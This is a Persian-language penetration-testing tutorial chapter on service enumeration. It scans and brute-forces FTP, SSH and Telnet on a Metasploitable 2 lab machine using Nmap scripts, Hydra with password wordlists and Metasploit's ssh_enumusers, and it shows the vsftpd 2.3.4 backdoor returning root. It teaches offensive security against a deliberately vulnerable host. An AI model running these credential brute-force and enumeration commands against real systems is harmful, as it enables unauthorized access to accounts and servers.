
در این فاز، هدف شناسایی دقیقتر سرویسها، پروتکلها و آسیبپذیریها در سیستمهای هدف است. این مرحله بعد از مرحله ابتدایی شناسایی (جایی که فقط اطلاعات اولیه بدست میآید) انجام میشود و شامل ابزارها و تکنیکهای پیشرفتهتری است که به شما این امکان را میدهند تا اطلاعات جزئیتر و حساستری را استخراج کنید.
فاز Enumeration معمولاً شامل مراحل زیر میشود:
- اسکن سرویسها (Service Scan): در این مرحله از ابزارهایی مثل Nmap برای شناسایی دقیقتر نسخهها و پیکربندیهای سرویسها استفاده میشود. برای مثال، ممکن است بتوانید نسخه دقیق یک سرویس SSH یا Telnet را شناسایی کنید.
- اسکنهای اسکریپتنویسی (Scripting Scans): Nmap و دیگر ابزارها معمولاً شامل اسکریپتهایی هستند که به شما این امکان را میدهند تا آسیبپذیریهای خاصی را بهطور خودکار شناسایی کنید. برای مثال، با استفاده از اسکریپتهای Nmap برای Telnet یا SSH، میتوانید آسیبپذیریهایی مثل عدم پشتیبانی از رمزگذاری یا نشت اطلاعات اعتبارنامهها را شناسایی کنید.
- حملههای بروتفورس (Brute-Forcing): پس از شناسایی حسابهای کاربری ممکن، میتوانید از ابزارهایی مثل Hydra برای انجام حملات بروتفورس جهت تست رمز عبور استفاده کنید. این حملات میتوانند شامل استفاده از فهرستهای کلمات برای حدس زدن رمز عبور صحیح برای هر کاربر باشند.
- پیدا کردن آسیبپذیریها: در این مرحله، شناسایی آسیبپذیریهای خاص مربوط به نسخههای سرویسها یا پیکربندیهای اشتباه اهمیت زیادی دارد. این اطلاعات میتوانند به شما کمک کنند تا در فازهای بعدی حمله، از این آسیبپذیریها بهرهبرداری کنید.
هدف از این فاز:
- استخراج اطلاعات دقیقتر از سیستم هدف
- شناسایی نقاط ضعف و آسیبپذیریها
- دسترسی به حسابهای کاربری و رمز عبورها
- استفاده از اسکریپتها و ابزارهای خودکار برای شناسایی سریعتر مشکلات
این فاز بهطور معمول شامل ابزارهای متعددی است، از جمله Nmap، Hydra، و Metasploit برای به دست آوردن جزئیات بیشتر و بهرهبرداری از آسیبپذیریها.
در بحث ما، شمارش به معنای جمعآوری اطلاعات ضروری است که به ما اجازه میدهد تا از سرویس خاصی بهرهبرداری کنیم (مثلاً FTP، SSH و غیره). به عنوان مثال، شمارش brute-force سرویس SSH به ما این امکان را میدهد که اعتبارنامههای معتبر را پیدا کنیم و از آن برای بهرهبرداری و ورود به میزبان از راه دور استفاده کنیم. یک روش رایج دیگر استفاده از اسکریپتهای Nmap است تا اطلاعات ضروری مانند کاربران از راه دور، نسخههای سرویسها، بهرهبرداری از اجرای کد از راه دور و موارد بیشتر را جمعآوری کنیم. این فصل تمام سرویسها را پوشش نمیدهد، اما قسمت مهم این است که شما مفهوم فرآیند شمارش را درک کنید تا بتوانید آن را به هر نوع سرویسی اعمال کنید.
این فصل شمارش سرویسهای زیر را پوشش میدهد:
■ FTP
■ SSH
■ Telnet
■ SMTP
■ POP3 و IMAP4
■ Microsoft SQL
■ Oracle Database Server
■ MySQL
■ Docker Engine
■ Jenkins
■ HTTP/S
■ RDP
■ VNC
■ SMB
■ SNMP
پروتکلهای انتقال – Transfer Protocols
قبلاً در آموزش جامع اسکن شبکه در کالی لینوکس شما یاد گرفتهاید که چگونه شبکه را اسکن کنید و سرویسها را در هر میزبان شناسایی کنید. در این مرحله، شما میدانید چگونه از Nmap برای انجام این کار استفاده کنید. پس از اسکن هر میزبان، باید شروع به بررسی آسیبپذیریهای احتمالی برای بهرهبرداری کنیم. به عنوان مثال، شما متوجه میشوید که هدف شما یک میزبان لینوکس است و از SSH به عنوان سرویس برای اجازه دادن به کاربران از راه دور برای احراز هویت استفاده میکند. آیا میدانید که باید بعداً چه کاری انجام دهید؟ در بخشهای بعدی، شما ساختار منطقی را خواهید دید که به شما این امکان را میدهد تا هر سرویس محبوب را بررسی کنید.
FTP (Port 21)
پروتکل انتقال فایل (FTP) برای انتقال فایلها بین یک مشتری و یک سرور از راه دور استفاده میشود. سرور از راه دور برای ذخیره فایلها استفاده میشود تا شما بتوانید به آنها از راه دور دسترسی پیدا کنید. گاهی اوقات FTP توسط برنامههای وب برای همگامسازی کد منبع میزبانی شده (مثلاً HTML، JavaScript و غیره) استفاده میشود. دو پیادهسازی امن FTP عبارتند از FTPS و SFTP. پروتکل انتقال فایل امن (SFTP) از پروتکل SSH برای انتقال فایلها استفاده میکند (به طور پیشفرض از همان پورت 22 SSH استفاده میکند). از طرف دیگر، پروتکل انتقال فایل امن (FTPS) از SSL برای رمزگذاری انتقال فایل استفاده میکند و از پورتهای 989 و 990 برای این منظور استفاده میکند.
اینها ضعفهای رایج در پروتکل FTP هستند:
■ اعتبارنامهها به صورت متن واضح ارسال میشوند.
■ انتقال فایلها رمزگذاری نمیشود.
سناریوهای بهرهبرداری از سرور FTP
در این مرحله، درک اینکه بهرهبرداری برای این سرویس چگونه خواهد بود، اهمیت دارد (شما باید از قبل بدانید که چه چیزی را دنبال میکنید، وگرنه فقط با چشمان بسته اسکن میکنید). یک سرور FTP میتواند به روشهای مختلفی مورد بهرهبرداری قرار گیرد. در اینجا سناریوهای رایج که شما در طول کار خود با آنها مواجه خواهید شد آورده شده است:
■ brute-force اعتبارنامهها
■ شنود برای اعتبارنامههای متن واضح
■ شنود برای فایلهای رمزگذارینشده
■ دسترسی ناشناس
■ پیدا کردن یک اکسپلویت عمومی مرتبط با نسخه هدف سرور FTP (در فصل بعد، شما یاد خواهید گرفت که چگونه برای اکسپلویتهای عمومی جستجو کنید)
روند کاری شمارش – Enumeration Workflow
در طول این فصل، شما با هر روند کاری شمارش سرویس از طریق مثالهای واقعی آشنا خواهید شد (یک مثال از هزاران کلمه ارزشمندتر است). در این مثال، هدف میزبان یک ماشین مجازی آسیبپذیر لینوکس است که Metasploitable نسخه 2 نام دارد؛ شما میتوانید نسخه این میزبان را از لینک Rapid7 Metasploit Pro دانلود کنید.
اسکن سرویس – Service Scan
در اولین قدم، ما یک اسکن ساده سرویس با استفاده از Nmap انجام میدهیم تا ایدهای از سرور FTP هدف بدست آوریم:
root@kali:~# nmap -sV -O -sC -p21 -T5 metasploitable.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-04 14:33 EDT
Nmap scan report for metasploitable.kcorp.local (172.16.0.101)
Host is up (0.00062s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.16.0.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
MAC Address: 00:0C:29:D2:1A:B1 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Unix
OS and Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds
بر اساس نتایج اسکن قبلی، موارد زیر شناسایی شدهاند (ما این اطلاعات را در فاز بهرهبرداری اعتبارسنجی خواهیم کرد):
■ میتوانیم با استفاده از اعتبارنامههای ناشناس وارد سرور FTP شویم.
■ نسخه سرور FTP ،vsftpd 2.3.4 است.
■ تایید شده است که ارتباط به صورت متن واضح (cleartext) انجام میشود.
اسکن اسکریپت پیشرفته با Nmap – Advanced Scripting Scan with Nmap
اسکن اسکریپت پایه (-sC) (که به طور فنی به آن اسکریپت پیشفرض گفته میشود) تمام موارد را اسکن نمیکند. در این مرحله، ما تمام قابلیتهای اسکن اسکریپت را در Nmap برای سرویس FTP با استفاده از گزینه --script=ftp*
فعال خواهیم کرد. احتمالاً از خودتان میپرسید: “چرا این اسکن را از ابتدا انجام ندادم؟” صبر کردن و یادگیری هدف خود گام به گام، به شما زاویه دید متفاوتی میدهد و به شما این امکان را میدهد که انتخابهای بهتری داشته باشید. (تست نفوذ فقط اجرای اسکنرها نیست؛ این یک متدولوژی است.)
root@kali:~# nmap -sV -O --script=ftp* -p21 -T5 metasploitable.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-04 14:41 EDT
NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
NSE: [ftp-brute] usernames: Time limit 3m00s exceeded.
NSE: [ftp-brute] usernames: Time limit 3m00s exceeded.
NSE: [ftp-brute] passwords: Time limit 3m00s exceeded.
Nmap scan report for metasploitable.kcorp.local (172.16.0.101)
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 1166 guesses in 181 seconds, average tps: 6.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 172.16.0.102
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: BID:48539 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpddownload-backdoored.html
| https://github.com/rapid7/metasploit-framework/blob/master/
modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_ https://www.securityfocus.com/bid/48539
[...]
نتایج اسکن اسکریپت پیشرفته:
■ تایید ورود ناشناس (که قبلاً در اسکن اول پیدا شده بود).
■ اسکریپت brute-force توانست اعتبارنامههای حساب را پیدا کند.
■ مشخص شد که نسخه سرور آسیبپذیر است و میتوان از آن بهرهبرداری کرد.
تکنیکهای بیشتر برای brute-forcing
اگر میخواهید یک اسکن brute-force اضافی انجام دهید، میتوانید از Hydra برای انجام این کار استفاده کنید:
root@kali:~# hydra -t 10 -L /opt/SecLists/Usernames/top-usernames-shortlist.txt -P /opt/SecLists/Passwords/xato-net-10-million-passwords-1000.txt ftp://metasploitable.KCorp.local
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-04 20:07:27
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 10 tasks per 1 server, overall 10 tasks, 17000 login tries (l:17/p:1000), ~1700 tries per task
[DATA] attacking ftp://metasploitable.KCorp.local:21/
[STATUS] 190.00 tries/min, 190 tries in 00:01h, 16810 to do in 01:29h, 10 active
[21][ftp] host: metasploitable.KCorp.local login: ftp password: 123456789
[...]
دستور Hydra از گزینههای زیر استفاده میکند: ■ -t 10
: اجرای ۱۰ نخ موازی
■ -L
: مسیر فایل نامهای کاربری
■ -P
: مسیر فایل کلمات عبور
در فصل بعد، ما به فاز بهرهبرداری خواهیم پرداخت (اطلاعات این فصل ورودی برای فاز بهرهبرداری است). در این مرحله، ما در حال جمعآوری اطلاعات در مورد چگونگی بهرهبرداری از هر سرویس به طور جداگانه هستیم.
SSH (Port 22)
ما در فصول قبلی نحوه عملکرد پروتکل SSH را آموختهایم. اگر با تفاوت بین کلیدهای عمومی و خصوصی و نحوه استفاده از آنها در پروتکل SSH آشنا نیستید.
سناریوهای بهرهبرداری از سرور SSH
یک سرور SSH میتواند به روشهای مختلفی مورد بهرهبرداری قرار گیرد. در اینجا برخی از سناریوهای رایج که باید به دنبال آنها باشید آورده شده است:
- Brute-force اعتبارنامهها (Credentials Brute-force):
- در این روش، مهاجم سعی میکند با استفاده از حملات brute-force برای حدس زدن نام کاربری و رمز عبور به سرور SSH وارد شود. این معمولاً هدف اصلی در مرحلهی enumeration (شناسایی و جمعآوری اطلاعات) است.
- اضافه کردن کلید عمومی به فایل
authorized_keys
روی سرور:- در این روش، مهاجم باید ابتدا به سیستم دسترسی پیدا کند (به عنوان مثال از طریق یک شل دسترسی پیدا کند) تا بتواند کلید عمومی خود را به فایل
authorized_keys
روی سرور اضافه کند. این به مهاجم اجازه میدهد که از آن به بعد با استفاده از کلید خصوصی خود به سیستم دسترسی پیدا کند.
- در این روش، مهاجم باید ابتدا به سیستم دسترسی پیدا کند (به عنوان مثال از طریق یک شل دسترسی پیدا کند) تا بتواند کلید عمومی خود را به فایل
- استفاده از SSH برای پیوت به هاستهای دیگر در شبکه:
- هنگامی که یک هاست مورد حمله قرار میگیرد و مهاجم به کلیدهای خصوصی و عمومی آن دسترسی پیدا میکند، مهاجم میتواند از SSH برای اتصال به هاستهای دیگر در همان شبکه استفاده کند. این فرآیند به عنوان “پیوتینگ” شناخته میشود و معمولاً در مرحلهی پس از بهرهبرداری (post-exploitation) انجام میشود.
- یافتن اکسپلویت عمومی برای نسخه سرور SSH هدف:
- اگر نسخهای از سرور SSH که هدف حمله است آسیبپذیری شناختهشدهای داشته باشد، مهاجم میتواند از یک اکسپلویت عمومی برای بهرهبرداری از آن آسیبپذیری استفاده کند. این میتواند به مهاجم اجازه دهد تا به سیستم نفوذ کند.
خواندن فایل authorized_keys
از الگوریتم DSA (نه RSA):
- اگر مهاجم بتواند فایل
authorized_keys
که از الگوریتم DSA استفاده میکند، بخواند، میتواند از کلید خصوصی مربوطه برای دسترسی به سرور استفاده کند. این سناریو نیاز به دسترسی به شل یا بهرهبرداری از آسیبپذیریهایی مانند “local file inclusion” (LFI) در برنامههای وب دارد. پس از یافتن کلید خصوصی، مهاجم میتواند از دستور زیر برای ورود به سرور استفاده کند:
$ssh -i [private key file] [user@ftp_server_ip]
این سناریوها راههایی هستند که مهاجم میتواند از آنها برای بهرهبرداری از سرور SSH استفاده کند. هدف این است که با شناسایی آسیبپذیریها، مهاجم بتواند به سیستم نفوذ کند و سپس دسترسی بیشتری پیدا کند.
“شما میتوانید مقالهای مفصل در مورد حملهی اخیر را در اینجا بخوانید: https://github.com/g0tmi1k/debian-ssh
اسکن اسکریپت پیشرفته با Nmap
در اینجا یک وظیفه سریع برای استخراج اطلاعات از سرور SSH در میزبان Metasploitable انجام میدهیم:
root@kali:~# nmap -sV -O -sC -p22 -T5 metasploitable.kcorp.local
نتیجه اسکن:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 10:55 EDT
Nmap scan report for metasploitable.kcorp.local (172.16.0.101)
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
MAC Address: 00:0C:29:D2:1A:B1 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
[...]
تنها اطلاعاتی که از اسکن قبلی به دست آمد، نسخه سرور SSH از راه دور است. در مرحله بعد، باید اسکن کامل اسکریپت با Nmap را اجرا کنیم تا ببینیم آیا میتوانیم مشکلات بیشتری با سرور SSH هدف پیدا کنیم:
root@kali:~# nmap -sV -O --script=ssh* -p22 -T5 metasploitable.kcorp.local
نتیجه اسکن:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-05 11:00 EDT
[...]
Nmap scan report for metasploitable.kcorp.local (172.16.0.101)
Host is up (0.00075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
| ssh-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 204 guesses in 181 seconds, average tps: 1.2
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
| ssh-publickey-acceptance:
|_ Accepted Public Keys: No public keys accepted
|_ssh-run: Failed to specify credentials and command to run.
[...]
نتایج قبلی نشان میدهند که Nmap یک اعتبارنامه معتبر برای ورود به SSH از راه دور پیدا کرده است. به یاد داشته باشید که این یافته مهم است زیرا با استفاده از این اعتبارنامهها میتوانیم دسترسی از راه دور به سرور هدف داشته باشیم. همانطور که در حمله بروتفورس FTP انجام دادیم، میتوانیم از Hydra برای SSH نیز استفاده کنیم. ما از همان گزینههایی که برای سناریوی FTP استفاده کردیم، بهره خواهیم برد.”
Brute-Forcing SSH با Hydra
همانطور که در FTP Brute-Force انجام دادیم ، می توانیم از Hydra برای SSH نیز استفاده کنیم. ما از همان گزینه هایی که برای سناریوی FTP استفاده کردیم استفاده خواهیم کرد:
root@kali:~# hydra -t 10 -L /opt/SecLists/Usernames/top-usernamesshortlist.txt -P /opt/SecLists/Passwords/xato-net-10-millionpasswords-1000.txt ssh://metasploitable.KCorp.local Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-05 11:11:19 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 17000 login tries (l:17/p:1000), ~1700 tries per task [DATA] attacking ssh://metasploitable.KCorp.local:22/ [STATUS] 130.00 tries/min, 130 tries in 00:01h, 16870 to do in 02:10h, 10 active 1 of 1 target completed, 0 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-05 14:34:08
متاسفانه، خروجی اسکن قبلی هیچ نتیجهای پیدا نکرد. در بخش بعدی، “تکنیکهای پیشرفته بروتفورس”، شما یاد خواهید گرفت که چگونه بروتفورس را مانند یک قهرمان اجرا کنید.
تکنیکهای پیشرفته بروتفورس
حالا وقت آن رسیده است که از متاسپلویت استفاده کنیم تا بتوانیم تکنیک اسکن بروت فورس خود را پیادهسازی کنیم. در مثال قبلی، مشاهده کردید که هیچ اطلاعات کاربری پیدا نکردیم. در واقع، ما تلاش کردیم یک حمله فورس کور علیه میزبان هدف خود انجام دهیم. در این مثال، ابتدا از متاسپلویت برای اسکن کردن نامهای کاربری معتبر در میزبان متاسپلویتبل استفاده خواهیم کرد و سپس به جای حدس زدن، به آن کاربران خاص حمله خواهیم کرد.
برای اجرای متاسپلویت، دستور msfconsole
را در پنجره ترمینال وارد میکنیم:
root@kali:~# msfconsole
پس از آن، پنجره متاسپلویت بارگذاری میشود و ما اقدامات زیر را انجام خواهیم داد:
- از ماژول شمارش نامهای کاربری به نام
ssh_enumusers
استفاده میکنیم. - آدرس IP میزبان متاسپلویتبل را شناسایی میکنیم.
- شماره پورت SSH از راه دور را تنظیم میکنیم.
- مسیر فایل دیکشنری کاربران را مشخص میکنیم.
- تعداد رشتههای موازی را به 25 تنظیم میکنیم.
- در نهایت، آن را اجرا میکنیم.
در نهایت، آن را اجرا میکنیم:
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 172.16.0.101
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/namelist.txt
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set PORT 22
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set THREADS 25
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
خروجی اسکن:
[*] 172.16.0.101:22 - SSH - Using malformed packet technique
[*] 172.16.0.101:22 - SSH - Checking for false positives
[*] 172.16.0.101:22 - SSH - Starting scan
[+] 172.16.0.101:22 - SSH - User 'backup' found
[+] 172.16.0.101:22 - SSH - User 'dhcp' found
[+] 172.16.0.101:22 - SSH - User 'ftp' found
[+] 172.16.0.101:22 - SSH - User 'games' found
[+] 172.16.0.101:22 - SSH - User 'irc' found
[+] 172.16.0.101:22 - SSH - User 'mail' found
[+] 172.16.0.101:22 - SSH - User 'mysql' found
[+] 172.16.0.101:22 - SSH - User 'news' found
[+] 172.16.0.101:22 - SSH - User 'proxy' found
[+] 172.16.0.101:22 - SSH - User 'root' found
[+] 172.16.0.101:22 - SSH - User 'service' found
[+] 172.16.0.101:22 - SSH - User 'snmp' found
[+] 172.16.0.101:22 - SSH - User 'syslog' found
[+] 172.16.0.101:22 - SSH - User 'user' found
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/ssh_enumusers) >
در نتایج خروجی قبلی، تعدادی نام کاربری پیدا شده است. در مرحله بعد، ما تمامی نامهای کاربری را در فایل users.txt
ذخیره خواهیم کرد و این فایل را در دایرکتوری خانگی روت ذخیره خواهیم نمود. توجه داشته باشید که در مثال زیر، از یک فایل دیکشنری کوچکتر برای پسوردها استفاده میکنیم تا سریعتر به نتیجه برسیم. در نهایت، از گزینه -e nsr
استفاده میکنیم برای دلایل زیر:
- “n” به معنی پسورد خالی (بدون پسورد).
- “s” به معنی ورود با پسورد (نامکاربری=پسورد).
- “r” به معنی ورود معکوس (مثلاً اگر نامکاربری
root
باشد، پسورد به صورت معکوسtoor
خواهد بود).
root@kali:~# hydra -t 10 -e nsr -L /root/users.txt -P /opt/SecLists/Passwords/darkweb2017-top100.txt ssh://metasploitable. KCorp.local [...] [22][ssh] host: metasploitable.KCorp.local login: service password: service [22][ssh] host: metasploitable.KCorp.local login: user password: user 1 of 1 target successfully completed, 2 valid passwords found
در فصل بعد، از نتایجی که قبلاً پیدا کردهایم بهرهبرداری خواهیم کرد. علاوه بر این، به طور عمیقتری به هر سناریوی اکسپلویت SSH خواهیم پرداخت.
Telnet (Port 23)
تلنت یک روش قدیمی برای اتصال به یک میزبان از راه دور با استفاده از پروتکل TCP بر روی پورت 23 است تا بتوانید از طریق خط فرمان (مانند SSH) میزبان را کنترل کنید. برخلاف SSH، ارتباطات تلنت امن نیست و به صورت متن آشکار ارسال میشود. این پروتکل معمولاً در دستگاههای شبکه قدیمی و همچنین در سیستمعاملهای ویندوز استفاده میشد. امروزه به ندرت این پروتکل در شرکتها فعال است، اما همچنان وجود دارد و مدیر سرور میتواند هر زمان که بخواهد آن را فعال کند.
برخی از آسیبپذیریهای رایج در تلنت عبارتند از:
■ اطلاعات ورود به سیستم به صورت متن آشکار ارسال میشود.
■ متن دستورات خط فرمان رمزگذاری نمیشود.
سناریوهای بهرهبرداری از سرور تلنت – Exploitation Scenarios for Telnet Server
یک سرور تلنت میتواند به روشهای مختلفی مورد سوءاستفاده قرار گیرد. در اینجا برخی از سناریوهای رایجی که ممکن است در هنگام انجام تست نفوذ با آنها روبهرو شوید آورده شده است:
■ بروتفورس کردن اعتبارنامهها
■ شنود برای اطلاعات ورود به سیستم به صورت متن آشکار
■ شنود برای دستورات خط فرمان غیر رمزگذاری شده
■ پیدا کردن یک اکسپلویت عمومی مرتبط با نسخه سرور تلنت هدف
جریان کاری شناسایی – Enumeration Workflow
در اینجا سه وظیفه وجود دارد که برای این جریان کاری پیشرفته شناسایی انجام خواهیم داد:
■ اسکن خدمات پایه با استفاده از Nmap
■ اسکن پیشرفته با استفاده از اسکریپتهای Nmap
■ بروتفورس کردن اعتبارنامهها با استفاده از Hydra
اسکن خدمات – Service Scan
در اولین مرحله، ما یک اسکن خدمات پایه با استفاده از Nmap برای به دست آوردن اطلاعاتی در مورد سرور تلنت متاسپلویت انجام خواهیم داد:
root@kali:~# nmap -sV -O -sC -p23 -T5 metasploitable.kcorp.local
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-08 13:39 EDT
Nmap scan report for metasploitable.kcorp.local (172.16.0.101)
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
MAC Address: 00:0C:29:D2:1A:B1 (VMware)
Warning: OSScan results may be unreliable because we could not find at
least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
Nmap done: 1 IP address (1 host up) scanned in 8.98 seconds
این اسکن، پورت 23 (پورت تلنت) را باز نشان داده و نسخه سرور تلنت در حال اجرا (Linux telnetd) را شناسایی میکند.
اسکن اسکریپت پیشرفته – Advanced Scripting Scan
گام بعدی این است که با استفاده از اسکن اسکریپت کامل تلنت در Nmap به جستجو برای آسیبپذیریهای بیشتر بپردازیم:
root@kali:~# nmap -sV -O --script=telnet* -p23 -T5 metasploitable.kcorp.local
[...]
PORT STATE SERVICE VERSION
23/tcp open telnet Linux telnetd
| telnet-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 1227 guesses in 184 seconds, average tps: 6.6
| telnet-encryption:
|_ Telnet server does not support encryption
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
Nmap done: 1 IP address (1 host up) scanned in 185.20 seconds
بر اساس نتایج خروجی قبلی، به نتایج زیر میرسیم:
■ ما میتوانیم به صورت از راه دور به سرور تلنت با استفاده از نامکاربری user
و رمز عبور user
وارد شویم.
■ همچنین تایید میشود که ارتباطات رمزگذاری نشده است.
بروتفورس با Hydra
برای اطمینان بیشتر، از Hydra استفاده میکنیم تا ببینیم آیا میتوانیم اعتبارنامههای بیشتری نسبت به Nmap پیدا کنیم:
root@kali:~# hydra -t 10 -e nsr -L /opt/SecLists/Usernames/top-usernamesshortlist.txt -P /opt/SecLists/Passwords/darkweb2017-top100.txt telnet://metasploitable.KCorp.local
[...]
[23][telnet] host: metasploitable.KCorp.local login: user password: user
Hydra همان حسابهای کاربری را پیدا کرد که قبلاً در Nmap شناسایی شده بود.